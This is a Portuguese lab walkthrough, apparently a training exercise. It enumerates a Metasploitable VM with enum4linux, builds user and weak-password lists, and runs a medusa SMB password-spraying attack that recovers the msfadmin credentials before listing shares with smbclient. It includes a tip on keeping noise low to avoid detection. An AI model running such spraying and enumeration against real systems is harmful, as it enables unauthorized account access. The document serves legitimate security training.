1° Passo é descobrir quais portas e usuários são interessantes poderiam levar a alguma informação importante e para isso utilizaremos o comando

```
┌──(kali㉿kali)-[~]
└─$ enum4linux -a 192.168.56.101 | tee enum4_output.txt
```

enum4linux -a 192.168.56.101 | tee enum4_output.txt

enum4linux -> Ferramenta

-a -> ativara todas as enumerções possiveis

192.168.56.101 -> ip alvo

tee enum4_output.txt -> ira criar a saida do progrma em arquivo com as informações criadas

ABRINDO O TXT CRIADO COM AS INFORMAÇÕES

```
┌──(kali㉿kali)-[~]
└─$ less enum4_output.txt
"enum4_output.txt" may be a binary file.  See it anyway?
```

Se caso aparecer esse aviso é só digitar Y

Após isso ele mostrara as informações

```
Starting enum4linux v0.9.1 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Mon Nov 10 21:02:42 2025

ESC[34m ==========( ESC[0mESC[32mTarget InformationESC[0mESC[34m )==========

ESC[0mTarget ........... 192.168.56.101
RID Range ........ 500-550,1000-1050
Username ......... ''
Password ......... ''
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none


ESC[34m ==========( ESC[0mESC[32mEnumerating Workgroup/Domain on 192.168.56.101ESC[0mESC[34m )==========

ESC[0mESC[33m
[+] ESC[0mESC[32mGot domain/workgroup name: WORKGROUP

ESC[0m
ESC[34m ==========( ESC[0mESC[32mNbtstat Information for 192.168.56.101ESC[0mESC[34m )==========

ESC[0mLooking up status of 192.168.56.101
        METASPLOITABLE  <00> -         B <ACTIVE>  Workstation Service
        METASPLOITABLE  <03> -         B <ACTIVE>  Messenger Service
        METASPLOITABLE  <20> -         B <ACTIVE>  File Server Service
        .. __MSBROWSE__. <01> - <GROUP> B <ACTIVE>  Master Browser
        WORKGROUP       <00> - <GROUP> B <ACTIVE>  Domain/Workgroup Name
        WORKGROUP       <1d> -         B <ACTIVE>  Master Browser
        WORKGROUP       <1e> - <GROUP> B <ACTIVE>  Browser Service Elections

        MAC Address = 00-00-00-00-00-00

ESC[34m ==========( ESC[0mESC[32mSession Check on 192.168.56.101ESC[0mESC[34m )==========

ESC[0mESC[33m
[+] ESC[0mESC[32mServer 192.168.56.101 allows sessions using username '', password ''

ESC[0m
ESC[34m ==========( ESC[0mESC[32mGetting domain SID for 192.168.56.101ESC[0mESC[34m )==========

ESC[0mDomain Name: WORKGROUP
Domain Sid: (NULL SID)
ESC[33m
[+] ESC[0mESC[32mCan't determine if host is part of domain or part of a workgroup

ESC[0m
ESC[34m ==========( ESC[0mESC[32mOS information on 192.168.56.101ESC[0mESC[34m )==========

ESC[0mESC[33m
[E] ESC[0mESC[31mCan't get OS info with smbclient

ESC[0mESC[33m
[+] ESC[0mESC[32mGot OS info for 192.168.56.101 from srvinfo:
ESC[0m  METASPLOITABLE Wk Sv PrQ Unx NT SNT metasploitable server (Samba 3.0.20-Debian)
enum4_output.txt
```

Usuários com potencial de informações

```
user:[games] rid:[0×3f2]
user:[nobody] rid:[0×1f5]
user:[bind] rid:[0×4ba]
user:[proxy] rid:[0×402]
user:[syslog] rid:[0×4b4]
user:[user] rid:[0×bba]
user:[www-data] rid:[0×42a]
user:[root] rid:[0×3e8]
user:[news] rid:[0×3fa]
user:[postgres] rid:[0×4c0]
user:[bin] rid:[0×3ec]
user:[mail] rid:[0×3f8]
user:[distccd] rid:[0×4c6]
user:[proftpd] rid:[0×4ca]
user:[dhcp] rid:[0×4b2]
user:[daemon] rid:[0×3ea]
user:[sshd] rid:[0×4b8]
user:[man] rid:[0×3f4]
user:[lp] rid:[0×3f6]
user:[mysql] rid:[0×4c2]
user:[gnats] rid:[0×43a]
user:[libuuid] rid:[0×4b0]
user:[backup] rid:[0×42c]
user:[msfadmin] rid:[0×bb8]
user:[telnetd] rid:[0×4c8]
user:[sys] rid:[0×3ee]
user:[klog] rid:[0×4b6]
user:[postfix] rid:[0×4bc]
user:[service] rid:[0×bbc]
user:[list] rid:[0×434]
user:[irc] rid:[0×436]
user:[ftp] rid:[0×4be]
user:[tomcat55] rid:[0×4c4]
user:[sync] rid:[0×3f0]
user:[uucp] rid:[0×3fc]
```

Criando uma lista de usuários

```
┌──(kali㉿kali)-[~]
└─$ echo -e "user\nmsfadmin\nservice" > smb_users.txt
```

echo -e "user\nmsfadmin\nservice" > smb_users.txt

sempre é melhor colocar os usuários que tiver mais chances de possuir informações, pois o quanto mais certeiro for, menor será o ruido e chance de ser detectado

Criando uma lista de senhas

```
┌──(kali㉿kali)-[~]
└─$ echo -e "password\n123456\nWelcome123\nmsfadmin" > senhas_spray.txt
```

echo -e "password\n123456\nWelcome123\nmsfadmin" > senhas_spray.txt

Por se tratar de uma Password Spraying
ela irá testar a mesma senha para usuários diferentes usuários

REALIZANDO ATAQUE

medusa -h 192.168.56.101 -U smb_users.txt -P senhas_spray.txt -M smbnt -t 2 -T 50

```
medusa -h 192.168.56.101 -> ip alvo
-U smb_users.txt  -> lista de usuarios encontrada de acordo com a pesquisa
 -P senhas_spray.txt -> lista de senhas fracas
 -M smbnt -> serviço alvo (modo)
 -t 2 -> simular 2 usuarios testando senhas
 -T 50 -> Ate 50 hosts em paralelo
```

```
┌──(kali㉿kali)-[~]
└─$ medusa -h 192.168.56.101 -U smb_users.txt -P senhas_spray.txt -M smbnt -t 2 -T 50
Medusa v2.3 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks <jmk@foofus.net>

2025-11-10 21:27:45 ACCOUNT CHECK: [smbnt] Host: 192.168.56.101 (1 of 1, 0 complete) User: user (1 of 3, 0 complete) Password: password (1 of 4 complete)
2025-11-10 21:27:45 ACCOUNT CHECK: [smbnt] Host: 192.168.56.101 (1 of 1, 0 complete) User: user (1 of 3, 0 complete) Password: 123456 (2 of 4 complete)
2025-11-10 21:27:45 ACCOUNT CHECK: [smbnt] Host: 192.168.56.101 (1 of 1, 0 complete) User: user (1 of 3, 0 complete) Password: Welcome123 (3 of 4 complete)
2025-11-10 21:27:45 ACCOUNT CHECK: [smbnt] Host: 192.168.56.101 (1 of 1, 0 complete) User: user (1 of 3, 1 complete) Password: msfadmin (4 of 4 complete)
2025-11-10 21:27:45 ACCOUNT CHECK: [smbnt] Host: 192.168.56.101 (1 of 1, 0 complete) User: msfadmin (2 of 3, 1 complete) Password: password (1 of 4 complete)
2025-11-10 21:27:45 ACCOUNT CHECK: [smbnt] Host: 192.168.56.101 (1 of 1, 0 complete) User: msfadmin (2 of 3, 1 complete) Password: 123456 (2 of 4 complete)
2025-11-10 21:27:45 ACCOUNT CHECK: [smbnt] Host: 192.168.56.101 (1 of 1, 0 complete) User: msfadmin (2 of 3, 1 complete) Password: Welcome123 (3 of 4 complete)
2025-11-10 21:27:45 ACCOUNT CHECK: [smbnt] Host: 192.168.56.101 (1 of 1, 0 complete) User: msfadmin (2 of 3, 2 complete) Password: msfadmin (4 of 4 complete)
2025-11-10 21:27:45 ACCOUNT FOUND: [smbnt] Host: 192.168.56.101 User: msfadmin Password: msfadmin [SUCCESS (ADMIN$ - Access Allowed)]
2025-11-10 21:27:45 ACCOUNT CHECK: [smbnt] Host: 192.168.56.101 (1 of 1, 0 complete) User: service (3 of 3, 3 complete) Password: 123456 (2 of 4 complete)
2025-11-10 21:27:45 ACCOUNT CHECK: [smbnt] Host: 192.168.56.101 (1 of 1, 0 complete) User: service (3 of 3, 3 complete) Password: Welcome123 (3 of 4 complete)
2025-11-10 21:27:45 ACCOUNT CHECK: [smbnt] Host: 192.168.56.101 (1 of 1, 0 complete) User: service (3 of 3, 4 complete) Password: msfadmin (4 of 4 complete)
2025-11-10 21:27:45 ACCOUNT FOUND: [smbnt] Host: 192.168.56.101 User: msfadmin Password: msfadmin [SUCCESS (ADMIN$ - Access Allowed)]
```

CONSEGUIMOS ACESSO A CONTA DE ADMINTRADOR, QUE POSSUI ACESSO AO COMPARTILHAMENTO POR REDE

para testar se realmente temos acesso a esse usuário iremos fazer uma tentativa de login através do comando

```
┌──(kali㉿kali)-[~]
└─$ smbclient -L //192.168.56.102 -U msfadmin
```

smbclient -L //192.168.56.101 -U msfadmin

Após inserir a senha ele ira logar no usuário
onde existe compartilhamento de arquivos

```
┌──(kali㉿kali)-[~]
└─$ smbclient -L //192.168.56.101 -U msfadmin

Password for [WORKGROUP\msfadmin]:

        Sharename       Type      Comment
        ---------       ----      -------
        print$          Disk      Printer Drivers
        tmp             Disk      oh noes!
        opt             Disk
        IPC$            IPC       IPC Service (metasploitable server (Samba 3.0.20-Debian))
        ADMIN$          IPC       IPC Service (metasploitable server (Samba 3.0.20-Debian))
        msfadmin        Disk      Home Directories
Reconnecting with SMB1 for workgroup listing.

        Server               Comment
        ---------            -------

        Workgroup            Master
        ---------            -------
        WORKGROUP            METASPLOITABLE
```